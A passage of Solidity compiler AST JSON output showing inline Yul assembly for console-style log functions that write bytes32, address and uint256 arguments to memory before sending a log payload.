,"nodeType":"YulExpressionStatement","src":"323360:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"323398:4:22","nodeType":"YulLiteral","src":"323398:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"323404:2:22","nodeType":"YulIdentifier","src":"323404:2:22"}],"functionName":{"name":"mstore","nativeSrc":"323391:6:22","nodeType":"YulIdentifier","src":"323391:6:22"},"nativeSrc":"323391:16:22","nodeType":"YulFunctionCall","src":"323391:16:22"},"nativeSrc":"323391:16:22","nodeType":"YulExpressionStatement","src":"323391:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"323427:4:22","nodeType":"YulLiteral","src":"323427:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"323433:4:22","nodeType":"YulLiteral","src":"323433:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"323420:6:22","nodeType":"YulIdentifier","src":"323420:6:22"},"nativeSrc":"323420:18:22","nodeType":"YulFunctionCall","src":"323420:18:22"},"nativeSrc":"323420:18:22","nodeType":"YulExpressionStatement","src":"323420:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"323458:4:22","nodeType":"YulLiteral","src":"323458:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"323464:2:22","nodeType":"YulIdentifier","src":"323464:2:22"}],"functionName":{"name":"mstore","nativeSrc":"323451:6:22","nodeType":"YulIdentifier","src":"323451:6:22"},"nativeSrc":"323451:16:22","nodeType":"YulFunctionCall","src":"323451:16:22"},"nativeSrc":"323451:16:22","nodeType":"YulExpressionStatement","src":"323451:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"323492:4:22","nodeType":"YulLiteral","src":"323492:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"323498:2:22","nodeType":"YulIdentifier","src":"323498:2:22"}],"functionName":{"name":"writeString","nativeSrc":"323480:11:22","nodeType":"YulIdentifier","src":"323480:11:22"},"nativeSrc":"323480:21:22","nodeType":"YulFunctionCall","src":"323480:21:22"},"nativeSrc":"323480:21:22","nodeType":"YulExpressionStatement","src":"323480:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"323526:4:22","nodeType":"YulLiteral","src":"323526:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"323532:2:22","nodeType":"YulIdentifier","src":"323532:2:22"}],"functionName":{"name":"writeString","nativeSrc":"323514:11:22","nodeType":"YulIdentifier","src":"323514:11:22"},"nativeSrc":"323514:21:22","nodeType":"YulFunctionCall","src":"323514:21:22"},"nativeSrc":"323514:21:22","nodeType":"YulExpressionStatement","src":"323514:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44340,"isOffset":false,"isSlot":false,"src":"322987:2:22","valueSize":1},{"declaration":44343,"isOffset":false,"isSlot":false,"src":"323017:2:22","valueSize":1},{"declaration":44346,"isOffset":false,"isSlot":false,"src":"323047:2:22","valueSize":1},{"declaration":44349,"isOffset":false,"isSlot":false,"src":"323077:2:22","valueSize":1},{"declaration":44352,"isOffset":false,"isSlot":false,"src":"323107:2:22","valueSize":1},{"declaration":44355,"isOffset":false,"isSlot":false,"src":"323137:2:22","valueSize":1},{"declaration":44358,"isOffset":false,"isSlot":false,"src":"323167:2:22","valueSize":1},{"declaration":44361,"isOffset":false,"isSlot":false,"src":"323197:2:22","valueSize":1},{"declaration":44364,"isOffset":false,"isSlot":false,"src":"323227:2:22","valueSize":1},{"declaration":44330,"isOffset":false,"isSlot":false,"src":"323498:2:22","valueSize":1},{"declaration":44332,"isOffset":false,"isSlot":false,"src":"323404:2:22","valueSize":1},{"declaration":44334,"isOffset":false,"isSlot":false,"src":"323532:2:22","valueSize":1},{"declaration":44336,"isOffset":false,"isSlot":false,"src":"323464:2:22","valueSize":1}],"id":44366,"nodeType":"InlineAssembly","src":"322609:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44368,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"323570:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":44369,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"323576:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":44367,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"323554:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44370,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"323554:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44371,"nodeType":"ExpressionStatement","src":"323554:28:22"},{"AST":{"nativeSrc":"323601:273:22","nodeType":"YulBlock","src":"323601:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"323622:4:22","nodeType":"YulLiteral","src":"323622:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"323628:2:22","nodeType":"YulIdentifier","src":"323628:2:22"}],"functionName":{"name":"mstore","nativeSrc":"323615:6:22","nodeType":"YulIdentifier","src":"323615:6:22"},"nativeSrc":"323615:16:22","nodeType":"YulFunctionCall","src":"323615:16:22"},"nativeSrc":"323615:16:22","nodeType":"YulExpressionStatement","src":"323615:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"323651:4:22","nodeType":"YulLiteral","src":"323651:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"323657:2:22","nodeType":"YulIdentifier","src":"323657:2:22"}],"functionName":{"name":"mstore","nativeSrc":"323644:6:22","nodeType":"YulIdentifier","src":"323644:6:22"},"nativeSrc":"323644:16:22","nodeType":"YulFunctionCall","src":"323644:16:22"},"nativeSrc":"323644:16:22","nodeType":"YulExpressionStatement","src":"323644:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"323680:4:22","nodeType":"YulLiteral","src":"323680:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"323686:2:22","nodeType":"YulIdentifier","src":"323686:2:22"}],"functionName":{"name":"mstore","nativeSrc":"323673:6:22","nodeType":"YulIdentifier","src":"323673:6:22"},"nativeSrc":"323673:16:22","nodeType":"YulFunctionCall","src":"323673:16:22"},"nativeSrc":"323673:16:22","nodeType":"YulExpressionStatement","src":"323673:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"323709:4:22","nodeType":"YulLiteral","src":"323709:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"323715:2:22","nodeType":"YulIdentifier","src":"323715:2:22"}],"functionName":{"name":"mstore","nativeSrc":"323702:6:22","nodeType":"YulIdentifier","src":"323702:6:22"},"nativeSrc":"323702:16:22","nodeType":"YulFunctionCall","src":"323702:16:22"},"nativeSrc":"323702:16:22","nodeType":"YulExpressionStatement","src":"323702:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"323738:4:22","nodeType":"YulLiteral","src":"323738:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"323744:2:22","nodeType":"YulIdentifier","src":"323744:2:22"}],"functionName":{"name":"mstore","nativeSrc":"323731:6:22","nodeType":"YulIdentifier","src":"323731:6:22"},"nativeSrc":"323731:16:22","nodeType":"YulFunctionCall","src":"323731:16:22"},"nativeSrc":"323731:16:22","nodeType":"YulExpressionStatement","src":"323731:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"323767:4:22","nodeType":"YulLiteral","src":"323767:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"323773:2:22","nodeType":"YulIdentifier","src":"323773:2:22"}],"functionName":{"name":"mstore","nativeSrc":"323760:6:22","nodeType":"YulIdentifier","src":"323760:6:22"},"nativeSrc":"323760:16:22","nodeType":"YulFunctionCall","src":"323760:16:22"},"nativeSrc":"323760:16:22","nodeType":"YulExpressionStatement","src":"323760:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"323796:4:22","nodeType":"YulLiteral","src":"323796:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"323802:2:22","nodeType":"YulIdentifier","src":"323802:2:22"}],"functionName":{"name":"mstore","nativeSrc":"323789:6:22","nodeType":"YulIdentifier","src":"323789:6:22"},"nativeSrc":"323789:16:22","nodeType":"YulFunctionCall","src":"323789:16:22"},"nativeSrc":"323789:16:22","nodeType":"YulExpressionStatement","src":"323789:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"323825:4:22","nodeType":"YulLiteral","src":"323825:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"323831:2:22","nodeType":"YulIdentifier","src":"323831:2:22"}],"functionName":{"name":"mstore","nativeSrc":"323818:6:22","nodeType":"YulIdentifier","src":"323818:6:22"},"nativeSrc":"323818:16:22","nodeType":"YulFunctionCall","src":"323818:16:22"},"nativeSrc":"323818:16:22","nodeType":"YulExpressionStatement","src":"323818:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"323854:5:22","nodeType":"YulLiteral","src":"323854:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"323861:2:22","nodeType":"YulIdentifier","src":"323861:2:22"}],"functionName":{"name":"mstore","nativeSrc":"323847:6:22","nodeType":"YulIdentifier","src":"323847:6:22"},"nativeSrc":"323847:17:22","nodeType":"YulFunctionCall","src":"323847:17:22"},"nativeSrc":"323847:17:22","nodeType":"YulExpressionStatement","src":"323847:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44340,"isOffset":false,"isSlot":false,"src":"323628:2:22","valueSize":1},{"declaration":44343,"isOffset":false,"isSlot":false,"src":"323657:2:22","valueSize":1},{"declaration":44346,"isOffset":false,"isSlot":false,"src":"323686:2:22","valueSize":1},{"declaration":44349,"isOffset":false,"isSlot":false,"src":"323715:2:22","valueSize":1},{"declaration":44352,"isOffset":false,"isSlot":false,"src":"323744:2:22","valueSize":1},{"declaration":44355,"isOffset":false,"isSlot":false,"src":"323773:2:22","valueSize":1},{"declaration":44358,"isOffset":false,"isSlot":false,"src":"323802:2:22","valueSize":1},{"declaration":44361,"isOffset":false,"isSlot":false,"src":"323831:2:22","valueSize":1},{"declaration":44364,"isOffset":false,"isSlot":false,"src":"323861:2:22","valueSize":1}],"id":44372,"nodeType":"InlineAssembly","src":"323592:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"322353:3:22","parameters":{"id":44337,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44330,"mutability":"mutable","name":"p0","nameLocation":"322365:2:22","nodeType":"VariableDeclaration","scope":44374,"src":"322357:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44329,"name":"bytes32","nodeType":"ElementaryTypeName","src":"322357:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44332,"mutability":"mutable","name":"p1","nameLocation":"322377:2:22","nodeType":"VariableDeclaration","scope":44374,"src":"322369:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44331,"name":"address","nodeType":"ElementaryTypeName","src":"322369:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":44334,"mutability":"mutable","name":"p2","nameLocation":"322389:2:22","nodeType":"VariableDeclaration","scope":44374,"src":"322381:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44333,"name":"bytes32","nodeType":"ElementaryTypeName","src":"322381:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44336,"mutability":"mutable","name":"p3","nameLocation":"322401:2:22","nodeType":"VariableDeclaration","scope":44374,"src":"322393:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":44335,"name":"uint256","nodeType":"ElementaryTypeName","src":"322393:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"322356:48:22"},"returnParameters":{"id":44338,"nodeType":"ParameterList","parameters":[],"src":"322419:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44426,"nodeType":"FunctionDefinition","src":"323886:1738:22","nodes":[],"body":{"id":44425,"nodeType":"Block","src":"323961:1663:22","nodes":[],"statements":[{"assignments":[44386],"declarations":[{"constant":false,"id":44386,"mutability":"mutable","name":"m0","nameLocation":"323979:2:22","nodeType":"VariableDeclaration","scope":44425,"src":"323971:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44385,"name":"bytes32","nodeType":"ElementaryTypeName","src":"323971:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44387,"nodeType":"VariableDeclarationStatement","src":"323971:10:22"},{"assignments":[44389],"declarations":[{"constant":false,"id":44389,"mutability":"mutable","name":"m1","nameLocation":"323999:2:22","nodeType":"VariableDeclaration","scope":44425,"src":"323991:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44388,"name":"bytes32","nodeType":"ElementaryTypeName","src":"323991:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44390,"nodeType":"VariableDeclarationStatement","src":"323991:10:22"},{"assignments":[44392],"declarations":[{"constant":false,"id":44392,"mutability":"mutable","name":"m2","nameLocation":"324019:2:22","nodeType":"VariableDeclaration","scope":44425,"src":"324011:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44391,"name":"bytes32","nodeType":"ElementaryTypeName","src":"324011:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44393,"nodeType":"VariableDeclarationStatement","src":"324011:10:22"},{"assignments":[44395],"declarations":[{"constant":false,"id":44395,"mutability":"mutable","name":"m3","nameLocation":"324039:2:22","nodeType":"VariableDeclaration","scope":44425,"src":"324031:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44394,"name":"bytes32","nodeType":"ElementaryTypeName","src":"324031:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44396,"nodeType":"VariableDeclarationStatement","src":"324031:10:22"},{"assignments":[44398],"declarations":[{"constant":false,"id":44398,"mutability":"mutable","name":"m4","nameLocation":"324059:2:22","nodeType":"VariableDeclaration","scope":44425,"src":"324051:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44397,"name":"bytes32","nodeType":"ElementaryTypeName","src":"324051:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44399,"nodeType":"VariableDeclarationStatement","src":"324051:10:22"},{"assignments":[44401],"declarations":[{"constant":false,"id":44401,"mutability":"mutable","name":"m5","nameLocation":"324079:2:22","nodeType":"VariableDeclaration","scope":44425,"src":"324071:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44400,"name":"bytes32","nodeType":"ElementaryTypeName","src":"324071:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44402,"nodeType":"VariableDeclarationStatement","src":"324071:10:22"},{"assignments":[44404],"declarations":[{"constant":false,"id":44404,"mutability":"mutable","name":"m6","nameLocation":"324099:2:22","nodeType":"VariableDeclaration","scope":44425,"src":"324091:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44403,"name":"bytes32","nodeType":"ElementaryTypeName","src":"324091:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44405,"nodeType":"VariableDeclarationStatement","src":"324091:10:22"},{"assignments":[44407],"declarations":[{"constant":false,"id":44407,"mutability":"mutable","name":"m7","nameLocation":"324119:2:22","nodeType":"VariableDeclaration","scope":44425,"src":"324111:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44406,"name":"bytes32","nodeType":"ElementaryTypeName","src":"324111:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44408,"nodeType":"VariableDeclarationStatement","src":"324111:10:22"},{"assignments":[44410],"declarations":[{"constant":false,"id":44410,"mutability":"mutable","name":"m8","nameLocation":"324139:2:22","nodeType":"VariableDeclaration","scope":44425,"src":"324131:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44409,"name":"bytes32","nodeType":"ElementaryTypeName","src":"324131:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44411,"nodeType":"VariableDeclarationStatement","src":"324131:10:22"},{"assignments":[44413],"declarations":[{"constant":false,"id":44413,"mutability":"mutable","name":"m9","nameLocation":"324159:2:22","nodeType":"VariableDeclaration","scope":44425,"src":"324151:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44412,"name":"bytes32","nodeType":"ElementaryTypeName","src":"324151:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44414,"nodeType":"VariableDeclarationStatement","src":"324151:10:22"},{"assignments":[44416],"declarations":[{"constant":false,"id":44416,"mutability":"mutable","name":"m10","nameLocation":"324179:3:22","nodeType":"VariableDeclaration","scope":44425,"src":"324171:11:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44415,"name":"bytes32","nodeType":"ElementaryTypeName","src":"324171:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44417,"nodeType":"VariableDeclarationStatement","src":"324171:11:22"},{"AST":{"nativeSrc":"324201:1027:22","nodeType":"YulBlock","src":"324201:1027:22","statements":[{"body":{"nativeSrc":"324244:313:22","nodeType":"YulBlock","src":"324244:313:22","statements":[{"nativeSrc":"324262:15:22","nodeType":"YulVariableDeclaration","src":"324262:15:22","value":{"kind":"number","nativeSrc":"324276:1:22","nodeType":"YulLiteral","src":"324276:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"324266:6:22","nodeType":"YulTypedName","src":"324266:6:22","type":""}]},{"body":{"nativeSrc":"324347:40:22","nodeType":"YulBlock","src":"324347:40:22","statements":[{"body":{"nativeSrc":"324376:9:22","nodeType":"YulBlock","src":"324376:9:22","statements":[{"nativeSrc":"324378:5:22","nodeType":"YulBreak","src":"324378:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"324364:6:22","nodeType":"YulIdentifier","src":"324364:6:22"},{"name":"w","nativeSrc":"324372:1:22","nodeType":"YulIdentifier","src":"324372:1:22"}],"functionName":{"name":"byte","nativeSrc":"324359:4:22","nodeType":"YulIdentifier","src":"324359:4:22"},"nativeSrc":"324359:15:22","nodeType":"YulFunctionCall","src":"324359:15:22"}],"functionName":{"name":"iszero","nativeSrc":"324352:6:22","nodeType":"YulIdentifier","src":"324352:6:22"},"nativeSrc":"324352:23:22","nodeType":"YulFunctionCall","src":"324352:23:22"},"nativeSrc":"324349:36:22","nodeType":"YulIf","src":"324349:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"324304:6:22","nodeType":"YulIdentifier","src":"324304:6:22"},{"kind":"number","nativeSrc":"324312:4:22","nodeType":"YulLiteral","src":"324312:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"324301:2:22","nodeType":"YulIdentifier","src":"324301:2:22"},"nativeSrc":"324301:16:22","nodeType":"YulFunctionCall","src":"324301:16:22"},"nativeSrc":"324294:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"324318:28:22","nodeType":"YulBlock","src":"324318:28:22","statements":[{"nativeSrc":"324320:24:22","nodeType":"YulAssignment","src":"324320:24:22","value":{"arguments":[{"name":"length","nativeSrc":"324334:6:22","nodeType":"YulIdentifier","src":"324334:6:22"},{"kind":"number","nativeSrc":"324342:1:22","nodeType":"YulLiteral","src":"324342:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"324330:3:22","nodeType":"YulIdentifier","src":"324330:3:22"},"nativeSrc":"324330:14:22","nodeType":"YulFunctionCall","src":"324330:14:22"},"variableNames":[{"name":"length","nativeSrc":"324320:6:22","nodeType":"YulIdentifier","src":"324320:6:22"}]}]},"pre":{"nativeSrc":"324298:2:22","nodeType":"YulBlock","src":"324298:2:22","statements":[]},"src":"324294:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"324411:3:22","nodeType":"YulIdentifier","src":"324411:3:22"},{"name":"length","nativeSrc":"324416:6:22","nodeType":"YulIdentifier","src":"324416:6:22"}],"functionName":{"name":"mstore","nativeSrc":"324404:6:22","nodeType":"YulIdentifier","src":"324404:6:22"},"nativeSrc":"324404:19:22","nodeType":"YulFunctionCall","src":"324404:19:22"},"nativeSrc":"324404:19:22","nodeType":"YulExpressionStatement","src":"324404:19:22"},{"nativeSrc":"324440:37:22","nodeType":"YulVariableDeclaration","src":"324440:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"324457:3:22","nodeType":"YulLiteral","src":"324457:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"324466:1:22","nodeType":"YulLiteral","src":"324466:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"324469:6:22","nodeType":"YulIdentifier","src":"324469:6:22"}],"functionName":{"name":"shl","nativeSrc":"324462:3:22","nodeType":"YulIdentifier","src":"324462:3:22"},"nativeSrc":"324462:14:22","nodeType":"YulFunctionCall","src":"324462:14:22"}],"functionName":{"name":"sub","nativeSrc":"324453:3:22","nodeType":"YulIdentifier","src":"324453:3:22"},"nativeSrc":"324453:24:22","nodeType":"YulFunctionCall","src":"324453:24:22"},"variables":[{"name":"shift","nativeSrc":"324444:5:22","nodeType":"YulTypedName","src":"324444:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"324505:3:22","nodeType":"YulIdentifier","src":"324505:3:22"},{"kind":"number","nativeSrc":"324510:4:22","nodeType":"YulLiteral","src":"324510:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"324501:3:22","nodeType":"YulIdentifier","src":"324501:3:22"},"nativeSrc":"324501:14:22","nodeType":"YulFunctionCall","src":"324501:14:22"},{"arguments":[{"name":"shift","nativeSrc":"324521:5:22","nodeType":"YulIdentifier","src":"324521:5:22"},{"arguments":[{"name":"shift","nativeSrc":"324532:5:22","nodeType":"YulIdentifier","src":"324532:5:22"},{"name":"w","nativeSrc":"324539:1:22","nodeType":"YulIdentifier","src":"324539:1:22"}],"functionName":{"name":"shr","nativeSrc":"324528:3:22","nodeType":"YulIdentifier","src":"324528:3:22"},"nativeSrc":"324528:13:22","nodeType":"YulFunctionCall","src":"324528:13:22"}],"functionName":{"name":"shl","nativeSrc":"324517:3:22","nodeType":"YulIdentifier","src":"324517:3:22"},"nativeSrc":"324517:25:22","nodeType":"YulFunctionCall","src":"324517:25:22"}],"functionName":{"name":"mstore","nativeSrc":"324494:6:22","nodeType":"YulIdentifier","src":"324494:6:22"},"nativeSrc":"324494:49:22","nodeType":"YulFunctionCall","src":"324494:49:22"},"nativeSrc":"324494:49:22","nodeType":"YulExpressionStatement","src":"324494:49:22"}]},"name":"writeString","nativeSrc":"324215:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"324236:3:22","nodeType":"YulTypedName","src":"324236:3:22","type":""},{"name":"w","nativeSrc":"324241:1:22","nodeType":"YulTypedName","src":"324241:1:22","type":""}],"src":"324215:342:22"},{"nativeSrc":"324570:17:22","nodeType":"YulAssignment","src":"324570:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"324582:4:22","nodeType":"YulLiteral","src":"324582:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"324576:5:22","nodeType":"YulIdentifier","src":"324576:5:22"},"nativeSrc":"324576:11:22","nodeType":"YulFunctionCall","src":"324576:11:22"},"variableNames":[{"name":"m0","nativeSrc":"324570:2:22","nodeType":"YulIdentifier","src":"324570:2:22"}]},{"nativeSrc":"324600:17:22","nodeType":"YulAssignment","src":"324600:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"324612:4:22","nodeType":"YulLiteral","src":"324612:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"324606:5:22","nodeType":"YulIdentifier","src":"324606:5:22"},"nativeSrc":"324606:11:22","nodeType":"YulFunctionCall","src":"324606:11:22"},"variableNames":[{"name":"m1","nativeSrc":"324600:2:22","nodeType":"YulIdentifier","src":"324600:2:22"}]},{"nativeSrc":"324630:17:22","nodeType":"YulAssignment","src":"324630:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"324642:4:22","nodeType":"YulLiteral","src":"324642:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"324636:5:22","nodeType":"YulIdentifier","src":"324636:5:22"},"nativeSrc":"324636:11:22","nodeType":"YulFunctionCall","src":"324636:11:22"},"variableNames":[{"name":"m2","nativeSrc":"324630:2:22","nodeType":"YulIdentifier","src":"324630:2:22"}]},{"nativeSrc":"324660:17:22","nodeType":"YulAssignment","src":"324660:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"324672:4:22","nodeType":"YulLiteral","src":"324672:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"324666:5:22","nodeType":"YulIdentifier","src":"324666:5:22"},"nativeSrc":"324666:11:22","nodeType":"YulFunctionCall","src":"324666:11:22"},"variableNames":[{"name":"m3","nativeSrc":"324660:2:22","nodeType":"YulIdentifier","src":"324660:2:22"}]},{"nativeSrc":"324690:17:22","nodeType":"YulAssignment","src":"324690:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"324702:4:22","nodeType":"YulLiteral","src":"324702:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"324696:5:22","nodeType":"YulIdentifier","src":"324696:5:22"},"nativeSrc":"324696:11:22","nodeType":"YulFunctionCall","src":"324696:11:22"},"variableNames":[{"name":"m4","nativeSrc":"324690:2:22","nodeType":"YulIdentifier","src":"324690:2:22"}]},{"nativeSrc":"324720:17:22","nodeType":"YulAssignment","src":"324720:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"324732:4:22","nodeType":"YulLiteral","src":"324732:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"324726:5:22","nodeType":"YulIdentifier","src":"324726:5:22"},"nativeSrc":"324726:11:22","nodeType":"YulFunctionCall","src":"324726:11:22"},"variableNames":[{"name":"m5","nativeSrc":"324720:2:22","nodeType":"YulIdentifier","src":"324720:2:22"}]},{"nativeSrc":"324750:17:22","nodeType":"YulAssignment","src":"324750:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"324762:4:22","nodeType":"YulLiteral","src":"324762:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"324756:5:22","nodeType":"YulIdentifier","src":"324756:5:22"},"nativeSrc":"324756:11:22","nodeType":"YulFunctionCall","src":"324756:11:22"},"variableNames":[{"name":"m6","nativeSrc":"324750:2:22","nodeType":"YulIdentifier","src":"324750:2:22"}]},{"nativeSrc":"324780:17:22","nodeType":"YulAssignment","src":"324780:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"324792:4:22","nodeType":"YulLiteral","src":"324792:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"324786:5:22","nodeType":"YulIdentifier","src":"324786:5:22"},"nativeSrc":"324786:11:22","nodeType":"YulFunctionCall","src":"324786:11:22"},"variableNames":[{"name":"m7","nativeSrc":"324780:2:22","nodeType":"YulIdentifier","src":"324780:2:22"}]},{"nativeSrc":"324810:18:22","nodeType":"YulAssignment","src":"324810:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"324822:5:22","nodeType":"YulLiteral","src":"324822:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"324816:5:22","nodeType":"YulIdentifier","src":"324816:5:22"},"nativeSrc":"324816:12:22","nodeType":"YulFunctionCall","src":"324816:12:22"},"variableNames":[{"name":"m8","nativeSrc":"324810:2:22","nodeType":"YulIdentifier","src":"324810:2:22"}]},{"nativeSrc":"324841:18:22","nodeType":"YulAssignment","src":"324841:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"324853:5: